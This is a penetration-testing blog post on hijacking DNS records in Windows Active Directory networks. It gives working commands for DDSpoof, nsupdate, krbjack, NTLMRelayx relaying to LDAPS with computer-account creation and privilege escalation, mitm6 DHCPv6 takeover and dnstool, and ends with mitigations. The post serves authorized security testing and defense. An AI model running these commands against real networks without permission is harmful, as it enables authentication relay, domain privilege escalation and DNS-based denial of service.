ALittleInsecure

Exploring the insecurities I find in the world so I can repress the ones I find in myself.

DNS Hijacking: Say My Name

The Domain Name System (DNS) is responsible for converting human-readable names into machine-readable Internet Protocol (IP) addresses. In Windows environments where names are intimately tied to identities and authentication, creating and taking over existing DNS records can be a lucrative endeavor that enables coercion and potential relay of NTLM and Kerberos authentication.

TL;DR – This post will discuss the following methods for DNS takeover and record manipulation:

  • Exploiting Microsoft DHCP DNS: Creating and overwriting existing DNS records without authentication using DDSpoof.
  • Exploiting Non-Secure Dynamic DNS Updates: Creating and overwriting existing DNS records without authentication using nsupdate or krbjack.
  • Exploiting NTLM Relay: Creating and overwriting DNS records with relayed NTLM authentication using NTLMRelayx.
  • Exploiting DHCPv6: Taking over as DHCP and DNS server to overwrite or create any record with mitm6.
  • Using Lightweight Directory Access Protocol (LDAP): Creating and updating DNS records using compromised credentials with dnstool.

Exploiting Microsoft DHCP DNS

DDSpoof is a tool recently released by Akami and it’s my new favorite way to create and hijack DNS records. The tool is the culmination of some excellent research by that team, and I highly recommend both the associated blog posts linked in the references1.

DDSpoof exploits the default configuration of Microsoft DHCP DNS to allow an attacker to create a DNS record without authentication. In many cases, it can also allow an attacker to take over the record of the DHCP DNS server, often a domain controller, or other DNS records. See the following example that uses DDSpoof to create a new DNS record or overwrite an existing vulnerable record without authentication.

Warning: Poisoned DNS records may be cached by clients. Affected clients will not be able to reach the intended host until the cached record expires, even after the record has been restored to its original value on the DNS server unless the attacker actively forwards traffic to and from the intended host on behalf of clients.

# Setup DDSpoof
git clone https://github.com/akamai/DDSpoof.git
cd DDSpoof
python3 -m pip install -r requirements.txt

# If necessary, replace eth0 with an interface that can
# access the target DHCP server.
ddspoof.py --iface "eth0"

# From within the DDSpoof interactive console

# Create or take over a specified DNS record
write-record <ATTACKER_HOSTNAME>.<DOMAIN.TLD> <ATTACKER_IP>

# When the attack is complete, delete the DNS record
# Alternatively, restore the original record by re-running
# write-record and specifying the original IP
delete-record <ATTACKER_HOSTNAME>.<DOMAIN.TLD>

# Exit
exit

Exploiting Non-Secure Dynamic DNS Updates

Non-secure dynamic DNS updates are a legacy configuration that may be enabled on a target network. Dynamic DNS updates are intended to allow computers to update their own DNS records in case their IP or hostname changes. Non-secure dynamic DNS updates allow anyone to update the DNS record for other computers or create new records without authentication2. Krbjack can be used to check if non-secure dynamic DNS updates are allowed. Like DDSpoof, Krbjack also has additional capabilities that are useful for Kerberos relaying but are outside the scope of this blog post:

# Install krbjack 
sudo python3 -m pip install krbjack

# Use krbjack to check if non-secure dynamic DNS updates
# are allowed.
sudo python3 -m krbjack --check --target-name <DC_HOSTNAME> --domain <DOMAIN.TLD> --dc-ip <DC_IP>

If non-secure dynamic DNS updates are enabled, then nsupdate can be used to modify an existing record or write a new one. Note: Krbjack supports similar functionality but will not handle restoring DNS records to their original value if the program doesn’t exit gracefully by intercepting Kerberos authentication. The following code generates nsupdate scripts that can be used to create or overwrite an existing DNS record and restore it to its original value when the attack is complete:

# Generate scripts to create and delete a DNS record
# Use a 30s TTL to minimize record caching
echo 'server <DC_IP> 53
update add <TARGET_HOSTNAME>.<DOMAIN.TLD> 30 A <ATTACKER_IP>
send
quit' > create_record.txt

echo 'server <DC_IP> 53
update delete <TARGET_HOSTNAME>.<DOMAIN.TLD>
send
quit' > delete_record.txt

# Create or overwrite the DNS record
nsupdate ./create_record.txt

# Run the attack

# Delete the DNS record
nsupdate ./delete_record.txt

Exploiting NTLM Relay

If NetNTLM authentication sent over HTTP can be intercepted, whether through poisoning or other coercion tactics34 and at least one LDAP(S) server does not require LDAP signing or channel binding, then the authentication can be relayed to LDAP(S) to create a new DNS record. If an LDAPS server is identified that only requires channel binding, then it may be possible to bypass the protection by relaying to the LDAP service and allowing NTLMRelayx to upgrade to LDAPS using the STARTTLS method5.

First, use LdapRelayScan to identify the state of signing and channel binding for LDAPS to determine if relaying to LDAPS is possible. Identifying relay protections for LDAP requires valid authentication, but you can always just try to relay without checking.

# Setup LdapRelayScan
git clone https://github.com/zyn3rgy/LdapRelayScan.git
cd LdapRelayScan
python3 -m pip install -r requirements_exact.txt

# Scan for LDAP protections
python3 LdapRelayScan.py -method LDAPS -dc-ip <DC_IP>

If LdapRelayScan indicates an LDAPS server does not require channel binding, then authentication can be relayed to it using Impacket‘s NTLMRelayx to create a DNS record. I recommend using the second command below, which will add a DNS record, attempt to create an associated computer account for persistence, and attempt to escalate the privileges of the computer account through Resource-Based Constrained Delegation (RBCD) or Access Control List (ACL) abuse678. The second command also prevents NTLMRelayx from automatically creating a new Domain Administrator account, which is often undesirable.

# Install impacket
python3 -m pipx install impacket

# Relay to LDAPS to create a DNS record
sudo ntlmrelayx.py -t ldaps://<DC_IP> --add-dns-record <ATTACKER_HOSTNAME> <ATTACKER_IP>

# Same as above but also creates a computer account, attempts
# to escalate its access using the relayed authentication,
# and disables creating a new domain administrator.
sudo python3 ntlmrelayx.py -t ldaps://<DC_IP> --add-dns-record <ATTACKER_HOSTNAME> <ATTACKER_IP> --add-computer '<ATTACKER_HOSTNAME>$' '<RANDOM_PASSWORD>' --delegate-access --escalate-user '<ATTACKER_HOSTNAME>$' --no-da

Exploiting DHCPv6

Internet Protocol version 6 (IPv6) is the future… or maybe it’s the past?

Either way, Windows machines prefer to use IPv6 over IPv4 by default and are constantly calling out to anyone on the network for IPv6 network information using Dynamic Host Configuration Protocol version 6 (DHCPv6). The tool mitm6 from Fox IT can be used to respond to DHCPv6 requests and take over as the DNS server and for the host making the request. Mitm6 can then be used to return modified DNS records for any host for which it is acting as the DNS server. The tool is also useful for other attacks outside the scope of this post including Web Proxy Auto-Discovery (WPAD) abuse and relaying Kerberos authentication with Krbrelayx9.

The following mitm6 command responds to DHCPv6 requests made by any host in the specified domain and takes over as their DNS server. Mitm6 then selectively responds to requests for the target DNS record with the IP address of the attacker machine.

# Install mitm6
python3 -m pip install mitm6

# If the string supplied to --domain matches a DNS request
# then the attacker DNS server responds with the IP of the
# attacker machine.
#
# Mitm6 will only respond to DHCPv6 requests from hosts
# with the domain matching --host-allowlist.
sudo mitm6 --domain <RECORD_HOSTNAME>.<DOMAIN.TLD> --host-allowlist <DOMAIN.TLD>

Note: this technique differs from others in that the DNS record for the target host on the real DNS server is not modified, instead an attacker-controlled DNS server selectively serves a DNS record modified to use the attacker’s IP address to hosts making DHCPv6 requests. Therefore, the record is not modified for all hosts. There is a tradeoff between selectively poisoning the DNS record for specific hosts to avoid excessive network interruptions and poisoning the ‘official’ DNS record for the target host for maximum impact. Lastly, the command above does not make use of additional mitm6 flags that can be used to further tighten the scope of poisoning, such as by specifying the FQDN of individual hosts with the --host-allowlist argument instead of an entire domain. This may offer additional stealth and reduce the risk of widespread network disruptions.

Using Lightweight Directory Access Protocol (LDAP)

If a valid set of credentials, username and NTLM hash (not NetNTLM10), or Kerberos ticket for the LDAP service has been obtained, then DNS records can be created and updated using legitimate Active Directory functionality. All users have permission to create a DNS record by default, but updating an existing record requires the appropriate permissions to be assigned to the user authenticating to LDAP. The Kerberos relaying and abuse suite of tools krbrelayx includes a scrip, dnstool.py, that can create a new DNS record using LDAP. The following command can be used to create a new record:

# Install krbrelayx
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
python3 -m pip install impacket ldap3 dnspython

python3 dnstool.py -u <USERNAME> -p <PASSWORD> --add --type A --record <ATTACKER_FQDN> --data <ATTACKER_IP> <DC_IP>

The following command can be used to cleanup the DNS record when the attack is complete:

python3 dnstool.py -u <USERNAME> -p <PASSWORD> --remove --type A --record <ATTACKER_FQDN> --data <ATTACKER_IP> <DC_IP>

Next Steps

As mentioned in the introduction, creating a new DNS record satisfies the prerequisite of becoming ‘intranet-zoned’11 for coercing HTTP authentication via WebDAV. Additionally, taking over DNS records enables intercepting and potentially relaying both NTLM and Kerberos authentication for the host whose record is manipulated. Subsequent posts will build upon DNS record manipulation to explore coercing HTTP authentication via WebDAV, making the most of NTLM relay with a comprehensive target list and scripted interaction with SOCKS proxies, and finally, the current and future states of Kerberos relaying.

Mitigations

The linked posts associated with each method for creating and hijacking DNS records often contain more detailed remediation recommendations. Here are the highlights for each method:

  • Exploiting Microsoft DHCP DNS: Run DHCP as a non-privileged user on a non-domain controller. If possible, just don’t use Microsoft DHCP DNS since they don’t intend to fix the underlying issues.
  • Exploiting Non-Secure Dynamic DNS Updates: Disable non-secure dynamic DNS updates.
  • Exploiting NTLM Relay: Require LDAP signing and channel binding on all LDAP servers.
  • Exploiting DHCPv6: Configure Windows hosts to prefer IPv4 over IPv6 via group policy. Block IPv6 using the host firewall on all Windows machines via Group Policy.
  • Using Lightweight Directory Access Protocol (LDAP): Since this method makes use of standard Windows functionality, focus on making it more difficult for attackers to gain access to the initial authentication necessary for the technique: require long, complex passwords and block all passwords in a large dictionary of common passwords.

References

  1. Akamai’s blog posts on Microsoft DHCP DNS abuse: Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates and Weaponizing DHCP DNS Spoofing — A Hands-On Guide. ↩︎
  2. Microsoft documentation explains how dynamic DNS updates work in How to configure DNS Dynamic updates in Windows. ↩︎
  3. The Hacker Recipes article on MITM and coerced auths. ↩︎
  4. Coercer uses RPC functions to coerce authentication over SMB and HTTP. ↩︎
  5. Article on Bypassing LDAP Channel Binding with StartTLS. ↩︎
  6. The original Wagging the Dog article by Elad Shamir describes Resource-Based Constrained Delegation abuse. ↩︎
  7. My own higher-level overview of Constrained delegation and resource-based delegation written with the help of my amazing colleagues. ↩︎
  8. Shameless plug for my (very minor) recent bug fix to Impacket that makes this possible in a single relay. ↩︎
  9. Fox IT’s blog post on mitm6: mitm6 – compromising IPv4 networks via IPv6.
    ↩︎
  10. Peter Gombos’ article explains LM, NTLM, and Net-NTLMv2. ↩︎
  11. The Hacker Recipes article on WebClient Abuse explains the meaning of being ‘intranet-zoned’. ↩︎
Warning and Intended Usage

This post and the contents of this blog are solely my own and do not reflect the thoughts, views, beliefs, or advice of any company. The content provided in this blog is intended only for use by security researchers in environments for which explicit, written permission for testing was obtained. I make no claims about the safety of any of the commands or techniques mentioned on this blog in production environments and all statements represent only my personal experience with the techniques and commands described. DNS manipulation in particular can result in a denial of service if care is not exercised. Don’t do anything stupid, don’t do anything without permission, and test and understand all commands before you run them.